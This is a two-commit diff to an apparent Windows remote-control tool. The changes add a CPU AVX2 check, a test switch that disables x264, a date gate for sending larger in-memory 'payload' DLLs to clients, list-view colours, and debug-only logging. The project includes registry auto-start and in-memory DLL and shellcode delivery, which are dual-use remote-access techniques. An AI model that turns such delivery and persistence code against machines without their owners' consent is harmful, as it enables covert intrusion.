Compare commits
2 Commits
e762e3cbd1
...
571ec7d80c
| Author | SHA1 | Date | |
|---|---|---|---|
|
|
571ec7d80c | ||
|
|
ead4f909ee |
@@ -6,11 +6,22 @@
|
|||||||
#include <common/iniFile.h>
|
#include <common/iniFile.h>
|
||||||
#include <common/LANChecker.h>
|
#include <common/LANChecker.h>
|
||||||
#include <common/VerifyV2.h>
|
#include <common/VerifyV2.h>
|
||||||
|
#include <intrin.h> // for __cpuid, __cpuidex
|
||||||
extern "C" {
|
extern "C" {
|
||||||
#include "reg_startup.h"
|
#include "reg_startup.h"
|
||||||
#include "ServiceWrapper.h"
|
#include "ServiceWrapper.h"
|
||||||
}
|
}
|
||||||
|
|
||||||
|
// Check if CPU supports AVX2 instruction set
|
||||||
|
static BOOL IsAVX2Supported()
|
||||||
|
{
|
||||||
|
int cpuInfo[4] = { 0, 0, 0, 0 };
|
||||||
|
__cpuid(cpuInfo, 0);
|
||||||
|
if (cpuInfo[0] < 7) return FALSE;
|
||||||
|
__cpuidex(cpuInfo, 7, 0);
|
||||||
|
return (cpuInfo[1] & (1 << 5)) != 0; // EBX bit 5 = AVX2
|
||||||
|
}
|
||||||
|
|
||||||
// 自动启动注册表中的值
|
// 自动启动注册表中的值
|
||||||
#define REG_NAME GetExeHashStr().c_str()
|
#define REG_NAME GetExeHashStr().c_str()
|
||||||
|
|
||||||
@@ -195,6 +206,14 @@ BOOL CALLBACK callback(DWORD CtrlType)
|
|||||||
|
|
||||||
int main(int argc, const char *argv[])
|
int main(int argc, const char *argv[])
|
||||||
{
|
{
|
||||||
|
// Check AVX2 support at startup
|
||||||
|
if (!IsAVX2Supported()) {
|
||||||
|
MessageBoxA(NULL,
|
||||||
|
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||||
|
"CPU 不兼容", MB_ICONERROR);
|
||||||
|
return -1;
|
||||||
|
}
|
||||||
|
|
||||||
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
Mprintf("启动运行: %s %s. Arg Count: %d\n", argv[0], argc>1 ? argv[1] : "", argc);
|
||||||
InitWindowsService(NewService(
|
InitWindowsService(NewService(
|
||||||
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
g_SETTINGS.installName[0] ? g_SETTINGS.installName : "RemoteControlService",
|
||||||
@@ -312,6 +331,13 @@ BOOL APIENTRY DllMain( HINSTANCE hInstance,
|
|||||||
{
|
{
|
||||||
switch (ul_reason_for_call) {
|
switch (ul_reason_for_call) {
|
||||||
case DLL_PROCESS_ATTACH: {
|
case DLL_PROCESS_ATTACH: {
|
||||||
|
// Check AVX2 support before starting
|
||||||
|
if (!IsAVX2Supported()) {
|
||||||
|
MessageBoxA(NULL,
|
||||||
|
"此程序需要支持 AVX2 指令集的 CPU(2013年后的处理器)。您的 CPU 不支持 AVX2,程序无法运行。",
|
||||||
|
"CPU 不兼容", MB_ICONERROR);
|
||||||
|
return FALSE;
|
||||||
|
}
|
||||||
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
g_MyApp.g_hInstance = (HINSTANCE)hInstance;
|
||||||
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
CloseHandle(__CreateThread(NULL, 0, AutoRun, hInstance, 0, NULL));
|
||||||
break;
|
break;
|
||||||
|
|||||||
@@ -191,6 +191,7 @@ public:
|
|||||||
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
m_pScrollDetector(nullptr), m_bEnableScrollDetect(false), m_bServerSupportsScroll(false),
|
||||||
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
m_bLastFrameWasScroll(false), m_nScrollDetectInterval(1)
|
||||||
{
|
{
|
||||||
|
SetAlgorithm(algo);
|
||||||
m_BitmapInfor_Send = nullptr;
|
m_BitmapInfor_Send = nullptr;
|
||||||
m_BmpZoomBuffer = nullptr;
|
m_BmpZoomBuffer = nullptr;
|
||||||
m_BmpZoomFirst = nullptr;
|
m_BmpZoomFirst = nullptr;
|
||||||
@@ -985,7 +986,7 @@ public:
|
|||||||
virtual BYTE SetAlgorithm(int algo)
|
virtual BYTE SetAlgorithm(int algo)
|
||||||
{
|
{
|
||||||
BYTE oldAlgo = m_bAlgorithm;
|
BYTE oldAlgo = m_bAlgorithm;
|
||||||
m_bAlgorithm = algo;
|
m_bAlgorithm = (DISABLE_X264_FOR_TEST && algo == ALGORITHM_H264) ? ALGORITHM_RGB565 : algo;
|
||||||
return oldAlgo;
|
return oldAlgo;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
|||||||
@@ -2,6 +2,15 @@
|
|||||||
#include <string.h>
|
#include <string.h>
|
||||||
#include <stdio.h>
|
#include <stdio.h>
|
||||||
|
|
||||||
|
#if DISABLE_X264_FOR_TEST
|
||||||
|
CX264Encoder::CX264Encoder() { memset(&m_Param, 0, sizeof(m_Param)); m_pCodec = NULL; m_pPicIn = NULL; m_pPicOut = NULL; }
|
||||||
|
CX264Encoder::~CX264Encoder() {}
|
||||||
|
bool CX264Encoder::open(int, int, int, int) { return false; }
|
||||||
|
bool CX264Encoder::open(x264_param_t*) { return false; }
|
||||||
|
void CX264Encoder::close() {}
|
||||||
|
int CX264Encoder::encode(uint8_t*, uint8_t, uint32_t, uint32_t, uint32_t, uint8_t**, uint32_t*, int) { return -1; }
|
||||||
|
|
||||||
|
#else
|
||||||
#ifdef _WIN64
|
#ifdef _WIN64
|
||||||
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
#pragma comment(lib,"libyuv/libyuv_x64.lib")
|
||||||
#pragma comment(lib,"x264/libx264_x64.lib")
|
#pragma comment(lib,"x264/libx264_x64.lib")
|
||||||
@@ -153,3 +162,5 @@ int CX264Encoder::encode(
|
|||||||
*lpSize = encode_size;
|
*lpSize = encode_size;
|
||||||
return 0;
|
return 0;
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#endif
|
||||||
|
|||||||
@@ -5,6 +5,8 @@ extern "C" {
|
|||||||
#include <x264\x264.h>
|
#include <x264\x264.h>
|
||||||
}
|
}
|
||||||
|
|
||||||
|
#define DISABLE_X264_FOR_TEST 0
|
||||||
|
|
||||||
class CX264Encoder
|
class CX264Encoder
|
||||||
{
|
{
|
||||||
private:
|
private:
|
||||||
|
|||||||
@@ -5555,8 +5555,6 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
|||||||
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
bool is64Bit = len > 1 ? ContextObject->InDeCompressedBuffer.GetBYTE(1) : false;
|
||||||
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
int typ = (len > 2 ? ContextObject->InDeCompressedBuffer.GetBYTE(2) : MEMORYDLL);
|
||||||
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
bool isRelease = len > 3 ? ContextObject->InDeCompressedBuffer.GetBYTE(3) : true;
|
||||||
char version[12] = {};
|
|
||||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
|
||||||
|
|
||||||
std::string clientIP = ContextObject->GetPeerName();
|
std::string clientIP = ContextObject->GetPeerName();
|
||||||
BOOL send = FALSE;
|
BOOL send = FALSE;
|
||||||
@@ -6707,10 +6705,13 @@ BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL,
|
|||||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
||||||
if (buf->length()) {
|
if (buf->length()) {
|
||||||
|
char version[12] = {};
|
||||||
|
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||||
|
bool supportLargeDLL = IsDateGreaterOrEqual(version, DLL_8MB_DATE);
|
||||||
// 检查旧客户端是否能接收大 DLL (旧 test.cpp 客户端 bufSize=4MB)
|
// 检查旧客户端是否能接收大 DLL (旧 test.cpp 客户端 bufSize=4MB)
|
||||||
// 注:SHELLCODE 请求来自 main.c,一直是 8MB,不需要检查
|
// 注:SHELLCODE 请求来自 main.c,一直是 8MB,不需要检查
|
||||||
const size_t OLD_CLIENT_MAX_SIZE = 4 * 1024 * 1024;
|
const size_t OLD_CLIENT_MAX_SIZE = 4 * 1024 * 1024;
|
||||||
if (isDLL && buf->length() > OLD_CLIENT_MAX_SIZE) {
|
if (isDLL && !supportLargeDLL && buf->length() > OLD_CLIENT_MAX_SIZE) {
|
||||||
Mprintf("[SendServerDll] DLL size %.2f MB: use TinyRunDLL instead.\n", buf->length()/1024.);
|
Mprintf("[SendServerDll] DLL size %.2f MB: use TinyRunDLL instead.\n", buf->length()/1024.);
|
||||||
buf = is64Bit ? m_TinyRun[PAYLOAD_DLL_X64] : m_TinyRun[PAYLOAD_DLL_X86];
|
buf = is64Bit ? m_TinyRun[PAYLOAD_DLL_X64] : m_TinyRun[PAYLOAD_DLL_X86];
|
||||||
}
|
}
|
||||||
@@ -8862,6 +8863,9 @@ void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
}
|
}
|
||||||
if (clientID == 0) return;
|
if (clientID == 0) return;
|
||||||
bool isSelected = (m_CList_Online.GetItemState(nRow, LVIS_SELECTED) & LVIS_SELECTED) != 0;
|
bool isSelected = (m_CList_Online.GetItemState(nRow, LVIS_SELECTED) & LVIS_SELECTED) != 0;
|
||||||
|
// 失焦的选中态:系统把其它列从 HIGHLIGHT(蓝)切到 3DFACE(浅灰)。col 0 也要跟着切,
|
||||||
|
// 否则只有第一列保持蓝,与其它列脱节。检测 listview 是否持有键盘焦点即可。
|
||||||
|
bool hasFocus = (::GetFocus() == m_CList_Online.GetSafeHwnd());
|
||||||
|
|
||||||
// 用 GetItemRect + GetColumnWidth(0) 算 col 0 的矩形 —— 比 pLVCD->nmcd.rc 更
|
// 用 GetItemRect + GetColumnWidth(0) 算 col 0 的矩形 —— 比 pLVCD->nmcd.rc 更
|
||||||
// 可靠:后者在 POSTPAINT 阶段对虚拟列表有时返回空 / 行片段。
|
// 可靠:后者在 POSTPAINT 阶段对虚拟列表有时返回空 / 行片段。
|
||||||
@@ -8889,10 +8893,14 @@ void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
}
|
}
|
||||||
HBITMAP hbmOld = (HBITMAP)::SelectObject(hMemDC, hbmCell);
|
HBITMAP hbmOld = (HBITMAP)::SelectObject(hMemDC, hbmCell);
|
||||||
|
|
||||||
// 全部画在 (0,0)-(cellW,cellH) 局部坐标
|
// 全部画在 (0,0)-(cellW,cellH) 局部坐标。底色与系统对其它列的渲染同步:
|
||||||
|
// 未选中 → COLOR_WINDOW (白)
|
||||||
|
// 选中 + 聚焦 → COLOR_HIGHLIGHT (蓝)
|
||||||
|
// 选中 + 失焦 → COLOR_3DFACE (浅灰,与失焦后其它列一致)
|
||||||
RECT rcLocal = { 0, 0, cellW, cellH };
|
RECT rcLocal = { 0, 0, cellW, cellH };
|
||||||
HBRUSH hBg = ::GetSysColorBrush(isSelected ? COLOR_HIGHLIGHT : COLOR_WINDOW);
|
int bgIdx = !isSelected ? COLOR_WINDOW
|
||||||
::FillRect(hMemDC, &rcLocal, hBg);
|
: (hasFocus ? COLOR_HIGHLIGHT : COLOR_3DFACE);
|
||||||
|
::FillRect(hMemDC, &rcLocal, ::GetSysColorBrush(bgIdx));
|
||||||
|
|
||||||
auto it = m_HostThumbnails.find(clientID);
|
auto it = m_HostThumbnails.find(clientID);
|
||||||
bool hasBmp = (it != m_HostThumbnails.end() && it->second.bmp);
|
bool hasBmp = (it != m_HostThumbnails.end() && it->second.bmp);
|
||||||
@@ -8904,8 +8912,9 @@ void CMy2015RemoteDlg::OnNMCustomdrawOnline(NMHDR* pNMHDR, LRESULT* pResult)
|
|||||||
HFONT hListFont = (HFONT)m_CList_Online.SendMessage(WM_GETFONT, 0, 0);
|
HFONT hListFont = (HFONT)m_CList_Online.SendMessage(WM_GETFONT, 0, 0);
|
||||||
HFONT hOldFont = hListFont ? (HFONT)::SelectObject(hMemDC, hListFont) : nullptr;
|
HFONT hOldFont = hListFont ? (HFONT)::SelectObject(hMemDC, hListFont) : nullptr;
|
||||||
::SetBkMode(hMemDC, TRANSPARENT);
|
::SetBkMode(hMemDC, TRANSPARENT);
|
||||||
|
// 文字色匹配底色:仅"选中+聚焦"用 HIGHLIGHTTEXT(白),其它(含失焦选中)用 WINDOWTEXT(黑)
|
||||||
::SetTextColor(hMemDC, ::GetSysColor(
|
::SetTextColor(hMemDC, ::GetSysColor(
|
||||||
isSelected ? COLOR_HIGHLIGHTTEXT : COLOR_WINDOWTEXT));
|
(isSelected && hasFocus) ? COLOR_HIGHLIGHTTEXT : COLOR_WINDOWTEXT));
|
||||||
const wchar_t* placeholder = supportsPreview ? L"…" : L"N/A";
|
const wchar_t* placeholder = supportsPreview ? L"…" : L"N/A";
|
||||||
::DrawTextW(hMemDC, placeholder, -1, &rcLocal,
|
::DrawTextW(hMemDC, placeholder, -1, &rcLocal,
|
||||||
DT_CENTER | DT_VCENTER | DT_SINGLELINE);
|
DT_CENTER | DT_VCENTER | DT_SINGLELINE);
|
||||||
|
|||||||
@@ -87,6 +87,9 @@ bool IsDateGreaterOrEqual(const char* date1, const char* date2);
|
|||||||
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2)
|
// V2 文件传输协议分界日期(>= 此日期的客户端支持 V2)
|
||||||
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
|
#define FILE_TRANSFER_V2_DATE "Feb 27 2026"
|
||||||
|
|
||||||
|
// 大于此日期客户端支持更大的内存DLL
|
||||||
|
#define DLL_8MB_DATE "Apr 12 2026"
|
||||||
|
|
||||||
// 前向声明
|
// 前向声明
|
||||||
class CMy2015RemoteDlg;
|
class CMy2015RemoteDlg;
|
||||||
extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
extern CMy2015RemoteDlg* g_2015RemoteDlg;
|
||||||
|
|||||||
@@ -823,6 +823,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
assert(ContextObject);
|
assert(ContextObject);
|
||||||
// 输出服务端所发送的命令
|
// 输出服务端所发送的命令
|
||||||
int cmd = szBuffer[0];
|
int cmd = szBuffer[0];
|
||||||
|
#ifdef _DEBUG
|
||||||
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
if (ulOriginalLength < 100 && cmd != COMMAND_SCREEN_CONTROL && cmd != CMD_HEARTBEAT_ACK &&
|
||||||
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
cmd != CMD_DRAW_POINT && cmd != CMD_MOVEWINDOW && cmd != CMD_SET_SIZE) {
|
||||||
char buf[100] = { 0 };
|
char buf[100] = { 0 };
|
||||||
@@ -833,6 +834,7 @@ BOOL WriteContextData(CONTEXT_OBJECT* ContextObject, PBYTE szBuffer, size_t ulOr
|
|||||||
}
|
}
|
||||||
Mprintf("[COMMAND] Send: %s\r\n", buf);
|
Mprintf("[COMMAND] Send: %s\r\n", buf);
|
||||||
}
|
}
|
||||||
|
#endif
|
||||||
try {
|
try {
|
||||||
do {
|
do {
|
||||||
if (ulOriginalLength <= 0) return FALSE;
|
if (ulOriginalLength <= 0) return FALSE;
|
||||||
|
|||||||
Reference in New Issue
Block a user